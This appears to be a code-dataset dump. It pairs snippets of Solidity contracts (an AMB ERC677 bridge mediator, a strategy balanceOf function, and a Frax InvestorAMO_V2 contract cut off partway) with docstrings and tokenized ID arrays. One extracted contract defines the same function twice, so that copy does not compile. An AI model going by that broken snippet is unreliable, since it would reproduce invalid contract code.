require(bridgeContract().failedMessageSender(_messageId) == mediatorContractOnOtherSide()); bytes4 methodSelector = this.fixFailedMessage.selector; bytes memory data = abi.encodeWithSelector(methodSelector, _messageId); bridgeContract().requireToPassMessage(mediatorContractOnOtherSide(), data, requestGasLimit()); } /** * @dev Handles the request to fix transferred assets which bridged message execution failed on the other network. * It uses the information stored by passMessage method when the assets were initially transferred * @param _messageId id of the message which execution failed on the other network. */ function fixFailedMessage(bytes32 _messageId) external onlyMediator { require(!messageFixed(_messageId)); address recipient = messageRecipient(_messageId); uint256 value = messageValue(_messageId); setMessageFixed(_messageId); executeActionOnFixedTokens(recipient, value); emit FailedMessageFixed(_messageId, recipient, value); } /* solcov ignore next */ function executeActionOnBridgedTokensOutOfLimit(address _recipient, uint256 _value) internal; /* solcov ignore next */ function executeActionOnBridgedTokens(address _recipient, uint256 _value) internal; /* solcov ignore next */ function executeActionOnFixedTokens(address _recipient, uint256 _value) internal; } // File: contracts/upgradeable_contracts/amb_erc677_to_erc677/BasicAMBErc677ToErc677.sol pragma solidity 0.4.24; /** * @title BasicAMBErc677ToErc677 * @dev Common functionality for erc677-to-erc677 mediator intended to work on top of AMB bridge. */ contract BasicAMBErc677ToErc677 is Initializable, ReentrancyGuard, Upgradeable, Claimable, VersionableBridge, BaseOverdrawManagement, BaseERC677Bridge, TokenBridgeMediator { function initialize( address _bridgeContract, address _mediatorContract, address _erc677token, uint256[3] _dailyLimitMaxPerTxMinPerTxArray, // [ 0 = _dailyLimit, 1 = _maxPerTx, 2 = _minPerTx ] uint256[2] _executionDailyLimitExecutionMaxPerTxArray, // [ 0 = _executionDailyLimit, 1 = _executionMaxPerTx ] uint256 _requestGasLimit, int256 _decimalShift, address _owner ) public onlyRelevantSender returns (bool) { require(!isInitialized()); _setBridgeContract(_bridgeContract); _setMediatorContractOnOtherSide(_mediatorContract); setErc677token(_erc677token); _setLimits(_dailyLimitMaxPerTxMinPerTxArray); _setExecutionLimits(_executionDailyLimitExecutionMaxPerTxArray); _setRequestGasLimit(_requestGasLimit); _setDecimalShift(_decimalShift); setOwner(_owner); setInitialize(); return isInitialized(); } /** * @dev Public getter for token contract. * @return address of the used token contract */ function erc677token() public view returns (ERC677) { return _erc677token(); } function bridgeContractOnOtherSide() internal view returns (address) { return mediatorContractOnOtherSide(); } /** * @dev Initiates the bridge operation that will lock the amount of tokens transferred and mint the tokens on * the other network. The user should first call Approve method of the ERC677 token. * @param _receiver address that will receive the minted tokens on the other network. * @param _value amount of tokens to be transferred to the other network. */ function relayTokens(address _receiver, uint256 _value) external { // This lock is to prevent calling passMessage twice if a ERC677 token is used. // When transferFrom is called, after the transfer, the ERC677 token will call onTokenTransfer from this contract // which will call passMessage. require(!lock()); ERC677 token = erc677token(); address to = address(this); require(withinLimit(_value)); addTotalSpentPerDay(getCurrentDay(), _value); setLock(true); token.transferFrom(msg.sender, to, _value); setLock(false); bridgeSpecificActionsOnTokenTransfer(token, msg.sender, _value, abi.encodePacked(_receiver)); } function onTokenTransfer(address _from, uint256 _value, bytes _data) external returns (bool) { ERC677 token = erc677token(); require(msg.sender == address(token)); if (!lock()) { require(withinLimit(_value)); addTotalSpentPerDay(getCurrentDay(), _value); } bridgeSpecificActionsOnTokenTransfer(token, _from, _value, _data); return true; } function getBridgeInterfacesVersion() external pure returns (uint64 major, uint64 minor, uint64 patch) { return (1, 2, 1); } function getBridgeMode() external pure returns (bytes4 _data) { return 0x76595b56; // bytes4(keccak256(abi.encodePacked("erc-to-erc-amb"))) } /** * @dev Execute the action to be performed when the bridge tokens are out of execution limits. * @param _recipient address intended to receive the tokens * @param _value amount of tokens to be received */ function executeActionOnBridgedTokensOutOfLimit(address _recipient, uint256 _value) internal { bytes32 _messageId = messageId(); address recipient; uint256 value; (recipient, value) = txAboveLimits(_messageId); require(recipient == address(0) && value == 0); setOutOfLimitAmount(outOfLimitAmount().add(_value)); setTxAboveLimits(_recipient, _value, _messageId); emit AmountLimitExceeded(_recipient, _value, _messageId); } /** * @dev Fixes locked tokens, that were out of execution limits during the call to handleBridgedTokens * @param messageId reference for bridge operation that was out of execution limits * @param unlockOnForeign true if fixed tokens should be unlocked to the other side of the bridge * @param valueToUnlock unlocked amount of tokens, should be less than maxPerTx() and saved txAboveLimitsValue */ function fixAssetsAboveLimits(bytes32 messageId, bool unlockOnForeign, uint256 valueToUnlock) external onlyIfUpgradeabilityOwner { require(!fixedAssets(messageId)); require(valueToUnlock <= maxPerTx()); address recipient; uint256 value; (recipient, value) = txAboveLimits(messageId); require(recipient != address(0) && value > 0 && value >= valueToUnlock); setOutOfLimitAmount(outOfLimitAmount().sub(valueToUnlock)); uint256 pendingValue = value.sub(valueToUnlock); setTxAboveLimitsValue(pendingValue, messageId); emit AssetAboveLimitsFixed(messageId, valueToUnlock, pendingValue); if (pendingValue == 0) { setFixedAssets(messageId); } if (unlockOnForeign) { passMessage(recipient, recipient, valueToUnlock); } } function claimTokens(address _token, address _to) public onlyIfUpgradeabilityOwner validAddress(_to) { claimValues(_token, _to); } } // File: contracts/libraries/SafeERC20.sol pragma solidity 0.4.24; /** * @title SafeERC20 * @dev Helper methods for safe token transfers. * Functions perform additional checks to be sure that token transfer really happened. */ library SafeERC20 { using SafeMath for uint256; /** * @dev Same as ERC20.transfer(address,uint256) but with extra consistency checks. * @param _token address of the token contract * @param _to address of the receiver * @param _value amount of tokens to send */ function safeTransfer(address _token, address _to, uint256 _value) internal { LegacyERC20(_token).transfer(_to, _value); assembly { if returndatasize { returndatacopy(0, 0, 32) if iszero(mload(0)) { revert(0, 0) } } } } /** * @dev Same as ERC20.transferFrom(address,address,uint256) but with extra consistency checks. * @param _token address of the token contract * @param _from address of the sender * @param _value amount of tokens to send */ function safeTransferFrom(address _token, address _from, uint256 _value) internal { LegacyERC20(_token).transferFrom(_from, address(this), _value); assembly { if returndatasize { returndatacopy(0, 0, 32) if iszero(mload(0)) { revert(0, 0) } } } } } // File: contracts/upgradeable_contracts/amb_erc677_to_erc677/ForeignAMBErc677ToErc677.sol pragma solidity 0.4.24; /** * @title ForeignAMBErc677ToErc677 * @dev Foreign side implementation for erc677-to-erc677 mediator intended to work on top of AMB bridge. * It is designed to be used as an implementation contract of EternalStorageProxy contract. */ contract ForeignAMBErc677ToErc677 is BasicAMBErc677ToErc677 { using SafeERC20 for ERC677; /** * @dev Executes action on the request to withdraw tokens relayed from the other network * @param _recipient address of tokens receiver * @param _value amount of bridged tokens */ function executeActionOnBridgedTokens(address _recipient, uint256 _value) internal { uint256 value = _unshiftValue(_value); bytes32 _messageId = messageId(); erc677token().safeTransfer(_recipient, value); emit TokensBridged(_recipient, value, _messageId); } /** * @dev Initiates the bridge operation that will lock the amount of tokens transferred and mint the tokens on * the other network. The user should first call Approve method of the ERC677 token. * @param _receiver address that will receive the minted tokens on the other network. * @param _value amount of tokens to be transferred to the other network. */ function relayTokens(address _receiver, uint256 _value) external { // This lock is to prevent calling passMessage twice if a ERC677 token is used. // When transferFrom is called, after the transfer, the ERC677 token will call onTokenTransfer from this contract // which will call passMessage. require(!lock()); ERC677 token = erc677token(); require(withinLimit(_value)); addTotalSpentPerDay(getCurrentDay(), _value); setLock(true); token.safeTransferFrom(msg.sender, _value); setLock(false); bridgeSpecificActionsOnTokenTransfer(token, msg.sender, _value, abi.encodePacked(_receiver)); } /** * @dev Executes action on deposit of bridged tokens * @param _from address of tokens sender * @param _value requsted amount of bridged tokens * @param _data alternative receiver, if specified */ function bridgeSpecificActionsOnTokenTransfer( ERC677, /* _token */ address _from, uint256 _value, bytes _data ) internal { if (!lock()) { passMessage(_from, chooseReceiver(_from, _data), _value); } } function executeActionOnFixedTokens(address _recipient, uint256 _value) internal { erc677token().safeTransfer(_recipient, _value); } }
* @title ForeignAMBErc677ToErc677 @dev Foreign side implementation for erc677-to-erc677 mediator intended to work on top of AMB bridge. It is designed to be used as an implementation contract of EternalStorageProxy contract./
contract ForeignAMBErc677ToErc677 is BasicAMBErc677ToErc677 { using SafeERC20 for ERC677; function executeActionOnBridgedTokens(address _recipient, uint256 _value) internal { uint256 value = _unshiftValue(_value); bytes32 _messageId = messageId(); erc677token().safeTransfer(_recipient, value); emit TokensBridged(_recipient, value, _messageId); } function relayTokens(address _receiver, uint256 _value) external { require(!lock()); ERC677 token = erc677token(); require(withinLimit(_value)); addTotalSpentPerDay(getCurrentDay(), _value); setLock(true); token.safeTransferFrom(msg.sender, _value); setLock(false); bridgeSpecificActionsOnTokenTransfer(token, msg.sender, _value, abi.encodePacked(_receiver)); } function bridgeSpecificActionsOnTokenTransfer( ERC677, /* _token */ address _from, uint256 _value, bytes _data ) internal { if (!lock()) { passMessage(_from, chooseReceiver(_from, _data), _value); } } function bridgeSpecificActionsOnTokenTransfer( ERC677, /* _token */ address _from, uint256 _value, bytes _data ) internal { if (!lock()) { passMessage(_from, chooseReceiver(_from, _data), _value); } } function executeActionOnFixedTokens(address _recipient, uint256 _value) internal { erc677token().safeTransfer(_recipient, _value); } }
2,054,410
[ 1, 7816, 2192, 5948, 1310, 26, 4700, 774, 41, 1310, 26, 4700, 225, 17635, 4889, 4471, 364, 6445, 71, 26, 4700, 17, 869, 17, 12610, 26, 4700, 6735, 10620, 12613, 358, 1440, 603, 1760, 434, 432, 7969, 10105, 18, 2597, 353, 26584, 358, 506, 1399, 487, 392, 4471, 6835, 434, 512, 1174, 3245, 3886, 6835, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 17635, 2192, 5948, 1310, 26, 4700, 774, 41, 1310, 26, 4700, 353, 7651, 2192, 5948, 1310, 26, 4700, 774, 41, 1310, 26, 4700, 288, 203, 565, 1450, 14060, 654, 39, 3462, 364, 4232, 39, 26, 4700, 31, 203, 203, 203, 565, 445, 1836, 1803, 1398, 38, 1691, 2423, 5157, 12, 2867, 389, 20367, 16, 2254, 5034, 389, 1132, 13, 2713, 288, 203, 3639, 2254, 5034, 460, 273, 389, 13858, 620, 24899, 1132, 1769, 203, 3639, 1731, 1578, 389, 2150, 548, 273, 19090, 5621, 203, 3639, 6445, 71, 26, 4700, 2316, 7675, 4626, 5912, 24899, 20367, 16, 460, 1769, 203, 3639, 3626, 13899, 38, 1691, 2423, 24899, 20367, 16, 460, 16, 389, 2150, 548, 1769, 203, 565, 289, 203, 203, 565, 445, 18874, 5157, 12, 2867, 389, 24454, 16, 2254, 5034, 389, 1132, 13, 3903, 288, 203, 3639, 2583, 12, 5, 739, 10663, 203, 3639, 4232, 39, 26, 4700, 1147, 273, 6445, 71, 26, 4700, 2316, 5621, 203, 3639, 2583, 12, 25850, 3039, 24899, 1132, 10019, 203, 3639, 527, 5269, 3389, 319, 2173, 4245, 12, 588, 3935, 4245, 9334, 389, 1132, 1769, 203, 203, 3639, 444, 2531, 12, 3767, 1769, 203, 3639, 1147, 18, 4626, 5912, 1265, 12, 3576, 18, 15330, 16, 389, 1132, 1769, 203, 3639, 444, 2531, 12, 5743, 1769, 203, 3639, 10105, 9969, 6100, 1398, 1345, 5912, 12, 2316, 16, 1234, 18, 15330, 16, 389, 1132, 16, 24126, 18, 3015, 4420, 329, 24899, 24454, 10019, 203, 565, 289, 203, 203, 565, 445, 10105, 9969, 6100, 1398, 1345, 5912, 12, 203, 3639, 2 ]
./partial_match/56/0xbfBC24bcCa99eE7a332495fE203a06b759849746/sources/StrategyVenusv2.sol
* @dev Function to calculate the total underlaying {want} held by the strat. It takes into account both the funds at hand, and the funds allocated in the {vtoken} contract. It uses a cache of the balances stored in {depositedBalance} to enable a few UI helper functions to exist. Sensitive functions should call 'updateBalance()' first to make sure the data is up to date. @return total {want} held by the strat./
function balanceOf() public view returns (uint256) { return balanceOfStrat().add(depositedBalance); }
11,149,797
[ 1, 2083, 358, 4604, 326, 2078, 3613, 5544, 310, 288, 17369, 97, 15770, 635, 326, 609, 270, 18, 2597, 5530, 1368, 2236, 3937, 326, 284, 19156, 622, 948, 16, 471, 326, 284, 19156, 11977, 316, 326, 288, 90, 2316, 97, 6835, 18, 2597, 4692, 279, 1247, 434, 326, 324, 26488, 4041, 316, 288, 323, 1724, 329, 13937, 97, 358, 4237, 279, 11315, 6484, 4222, 4186, 358, 1005, 18, 348, 6536, 4186, 1410, 745, 296, 2725, 13937, 11866, 1122, 358, 1221, 3071, 326, 501, 353, 731, 358, 1509, 18, 327, 2078, 288, 17369, 97, 15770, 635, 326, 609, 270, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 11013, 951, 1435, 1071, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 11013, 951, 1585, 270, 7675, 1289, 12, 323, 1724, 329, 13937, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x40A07aD414EC4214d03bF76571FDF38D6b0DE598/sources/contracts/minter-suite/Minters/MinterDALinV4.sol
* @notice projectId => auction parameters/
function projectAuctionParameters( uint256 _projectId ) external view returns ( uint256 timestampStart, uint256 timestampEnd, uint256 startPrice, uint256 basePrice ) { ProjectConfig storage _projectConfig = projectConfig[_projectId]; return ( _projectConfig.timestampStart, _projectConfig.timestampEnd, _projectConfig.startPrice, _projectConfig.basePrice ); }
9,696,764
[ 1, 4406, 548, 516, 279, 4062, 1472, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1984, 37, 4062, 2402, 12, 203, 3639, 2254, 5034, 389, 4406, 548, 203, 565, 262, 203, 3639, 3903, 203, 3639, 1476, 203, 3639, 1135, 261, 203, 5411, 2254, 5034, 2858, 1685, 16, 203, 5411, 2254, 5034, 2858, 1638, 16, 203, 5411, 2254, 5034, 787, 5147, 16, 203, 5411, 2254, 5034, 1026, 5147, 203, 3639, 262, 203, 565, 288, 203, 3639, 5420, 809, 2502, 389, 4406, 809, 273, 1984, 809, 63, 67, 4406, 548, 15533, 203, 3639, 327, 261, 203, 5411, 389, 4406, 809, 18, 5508, 1685, 16, 203, 5411, 389, 4406, 809, 18, 5508, 1638, 16, 203, 5411, 389, 4406, 809, 18, 1937, 5147, 16, 203, 5411, 389, 4406, 809, 18, 1969, 5147, 203, 3639, 11272, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.11; // ==================================================================== // | ______ _______ | // | / _____________ __ __ / ____(_____ ____ _____ ________ | // | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ | // | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ | // | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ | // | | // ==================================================================== // ========================== InvestorAMO_V2 ========================== // ==================================================================== // Frax Finance: https://github.com/FraxFinance // Primary Author(s) // Travis Moore: https://github.com/FortisFortuna // Reviewer(s) / Contributor(s) // Jason Huan: https://github.com/jasonhuan // Sam Kazemian: https://github.com/samkazemian import "../Math/SafeMath.sol"; import "../FXS/FXS.sol"; import "../Frax/Frax.sol"; import "../ERC20/ERC20.sol"; import "../ERC20/Variants/Comp.sol"; import "../Oracle/UniswapPairOracle.sol"; import "../Governance/AccessControl.sol"; import "../Frax/Pools/FraxPool.sol"; import "./yearn/IyUSDC_V2_Partial.sol"; import "./aave/IAAVELendingPool_Partial.sol"; import "./aave/IAAVE_aUSDC_Partial.sol"; import "./aave/IStakedAave.sol"; import "./aave/IAaveIncentivesControllerPartial.sol"; import "./compound/ICompComptrollerPartial.sol"; import "./compound/IcUSDC_Partial.sol"; import "../Staking/Owned.sol"; import '../Uniswap/TransferHelper.sol'; //import "../Proxy/Initializable.sol"; // Lower APY: yearn, AAVE, Compound // Higher APY: KeeperDAO, BZX, Harvest contract InvestorAMO_V2 is AccessControl, Owned { using SafeMath for uint256; /* ========== STATE VARIABLES ========== */ ERC20 private collateral_token; FRAXShares private FXS; FRAXStablecoin private FRAX; FraxPool private pool; // Pools and vaults IyUSDC_V2_Partial private yUSDC_V2; IAAVELendingPool_Partial private aaveUSDC_Pool; IAAVE_aUSDC_Partial private aaveUSDC_Token; IcUSDC_Partial private cUSDC; // Reward Tokens Comp private COMP; ERC20 private AAVE; IStakedAave private stkAAVE; ICompComptrollerPartial private CompController; IAaveIncentivesControllerPartial private AAVEIncentivesController; address public collateral_address; address public pool_address; address public timelock_address; address public custodian_address; address public weth_address; uint256 public missing_decimals; uint256 private PRICE_PRECISION; // Max amount of collateral this contract can borrow from the FraxPool uint256 public borrow_cap; // Amount the contract borrowed uint256 public borrowed_balance; uint256 public borrowed_historical; uint256 public paid_back_historical; // Allowed strategies (can eventually be made into an array) bool public allow_yearn; bool public allow_aave; bool public allow_compound; // CollatDollarBalance bool useAllocationsForCollatDB; // Constants uint256 public MAX_UINT256; /* ========== MODIFIERS ========== */ modifier onlyByOwnerOrGovernance() { require(msg.sender == timelock_address || msg.sender == owner, "You are not the owner or the governance timelock"); _; } modifier onlyCustodian() { require(msg.sender == custodian_address, "You are not the rewards custodian"); _; } /* ========== CONSTRUCTOR ========== */ constructor( address _frax_contract_address, address _fxs_contract_address, address _pool_address, address _collateral_address, address _creator_address, address _custodian_address, address _timelock_address ) Owned(_creator_address) { FRAX = FRAXStablecoin(_frax_contract_address); FXS = FRAXShares(_fxs_contract_address); pool_address = _pool_address; pool = FraxPool(_pool_address); collateral_address = _collateral_address; collateral_token = ERC20(_collateral_address); timelock_address = _timelock_address; custodian_address = _custodian_address; missing_decimals = uint(18).sub(collateral_token.decimals()); _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); // assignments (must be done in initializer, so assignment gets stored in proxy address's storage instead of implementation address's storage) yUSDC_V2 = IyUSDC_V2_Partial(0x5f18C75AbDAe578b483E5F43f12a39cF75b973a9); aaveUSDC_Pool = IAAVELendingPool_Partial(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); aaveUSDC_Token = IAAVE_aUSDC_Partial(0xBcca60bB61934080951369a648Fb03DF4F96263C); cUSDC = IcUSDC_Partial(0x39AA39c021dfbaE8faC545936693aC917d5E7563); COMP = Comp(0xc00e94Cb662C3520282E6f5717214004A7f26888); AAVE = ERC20(0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9); stkAAVE = IStakedAave(0x4da27a545c0c5B758a6BA100e3a049001de870f5); CompController = ICompComptrollerPartial(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B); AAVEIncentivesController = IAaveIncentivesControllerPartial(0xd784927Ff2f95ba542BfC824c8a8a98F3495f6b5); weth_address = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; PRICE_PRECISION = 1e6; borrow_cap = uint256(20000e6); borrowed_balance = 0; borrowed_historical = 0; paid_back_historical = 0; allow_yearn = true; allow_aave = true; allow_compound = true; useAllocationsForCollatDB = true; MAX_UINT256 = type(uint256).max; } /* ========== VIEWS ========== */ function showAllocations() public view returns (uint256[5] memory allocations) { // All numbers given are assuming xyzUSDC, etc. is converted back to actual USDC allocations[0] = collateral_token.balanceOf(address(this)); // Unallocated allocations[1] = (yUSDC_V2.balanceOf(address(this))).mul(yUSDC_V2.pricePerShare()).div(1e6); // yearn allocations[2] = aaveUSDC_Token.balanceOf(address(this)); // AAVE allocations[3] = (cUSDC.balanceOf(address(this)).mul(cUSDC.exchangeRateStored()).div(1e18)); // Compound. Note that cUSDC is E8 uint256 sum_tally = 0; for (uint i = 0; i < 4; i++){ if (allocations[i] > 0){ sum_tally = sum_tally.add(allocations[i]); } } allocations[4] = sum_tally; // Total USDC Value } function showRewards() external view returns (uint256[3] memory rewards) { // IMPORTANT // Should ONLY be used externally, because it may fail if COMP.balanceOf() fails rewards[0] = COMP.balanceOf(address(this)); // COMP rewards[1] = stkAAVE.balanceOf(address(this)); // stkAAVE rewards[2] = AAVE.balanceOf(address(this)); // AAVE } // Return the cooldown end time function aaveCooldown_Show_Cooldowns() external view returns (uint256) { return stkAAVE.stakersCooldowns(address(this)); } // Return the cooldown end time function aaveCooldown_Time_Left() external view returns (int256) { uint256 cooldown_length = stkAAVE.COOLDOWN_SECONDS(); uint256 cooldown_end = stkAAVE.stakersCooldowns(address(this)) + cooldown_length; return (int256(cooldown_end) - int256(block.timestamp)); } /* ========== PUBLIC FUNCTIONS ========== */ // Needed for the Frax contract to function function collatDollarBalance() external view returns (uint256) { // Needs to mimic the FraxPool value and return in E18 // Only thing different should be borrowed_balance vs balanceOf() if (useAllocationsForCollatDB){ return ((showAllocations())[4]).mul(10 ** missing_decimals); } else if (pool.collateralPricePaused() == true){ return borrowed_balance.mul(10 ** missing_decimals).mul(pool.pausedPrice()).div(PRICE_PRECISION); } else { uint256 eth_usd_price = FRAX.eth_usd_price(); uint256 eth_collat_price = UniswapPairOracle(pool.collat_eth_oracle_address()).consult(weth_address, (PRICE_PRECISION * (10 ** missing_decimals))); uint256 collat_usd_price = eth_usd_price.mul(PRICE_PRECISION).div(eth_collat_price); return borrowed_balance.mul(10 ** missing_decimals).mul(collat_usd_price).div(PRICE_PRECISION); //.mul(getCollateralPrice()).div(1e6); } } // This is basically a workaround to transfer USDC from the FraxPool to this investor contract // This contract is essentially marked as a 'pool' so it can call OnlyPools functions like pool_mint and pool_burn_from // on the main FRAX contract // It mints FRAX from nothing, and redeems it on the target pool for collateral and FXS // The burn can be called separately later on function mintRedeemPart1(uint256 frax_amount) public onlyByOwnerOrGovernance { require(allow_yearn || allow_aave || allow_compound, 'All strategies are currently off'); uint256 redemption_fee = pool.redemption_fee(); uint256 col_price_usd = pool.getCollateralPrice(); uint256 global_collateral_ratio = FRAX.global_collateral_ratio(); uint256 redeem_amount_E6 = (frax_amount.mul(uint256(1e6).sub(redemption_fee))).div(1e6).div(10 ** missing_decimals); uint256 expected_collat_amount = redeem_amount_E6.mul(global_collateral_ratio).div(1e6); expected_collat_amount = expected_collat_amount.mul(1e6).div(col_price_usd); require(borrowed_balance.add(expected_collat_amount) <= borrow_cap, "Borrow cap reached"); borrowed_balance = borrowed_balance.add(expected_collat_amount); borrowed_historical = borrowed_historical.add(expected_collat_amount); // Mint the frax FRAX.pool_mint(address(this), frax_amount); // Redeem the frax FRAX.approve(address(pool), frax_amount); pool.redeemFractionalFRAX(frax_amount, 0, 0); } function mintRedeemPart2() public onlyByOwnerOrGovernance { pool.collectRedemption(); } function giveCollatBack(uint256 amount) public onlyByOwnerOrGovernance { // Still paying back principal if (amount <= borrowed_balance) { borrowed_balance = borrowed_balance.sub(amount); } // Pure profits else { borrowed_balance = 0; } paid_back_historical = paid_back_historical.add(amount); // Give the collateral back TransferHelper.safeTransfer(address(collateral_token), address(pool), amount); } function burnFXS(uint256 amount) public onlyByOwnerOrGovernance { FXS.approve(address(this), amount); FXS.pool_burn_from(address(this), amount); } /* ========== yearn V2 ========== */ function yDepositUSDC(uint256 USDC_amount) public onlyByOwnerOrGovernance { require(allow_yearn, 'yearn strategy is currently off'); collateral_token.approve(address(yUSDC_V2), USDC_amount); yUSDC_V2.deposit(USDC_amount); } // E6 function yWithdrawUSDC(uint256 yUSDC_amount) public onlyByOwnerOrGovernance { yUSDC_V2.withdraw(yUSDC_amount); } /* ========== AAVE V2 + stkAAVE ========== */ function aaveDepositUSDC(uint256 USDC_amount) public onlyByOwnerOrGovernance { require(allow_aave, 'AAVE strategy is currently off'); collateral_token.approve(address(aaveUSDC_Pool), USDC_amount); 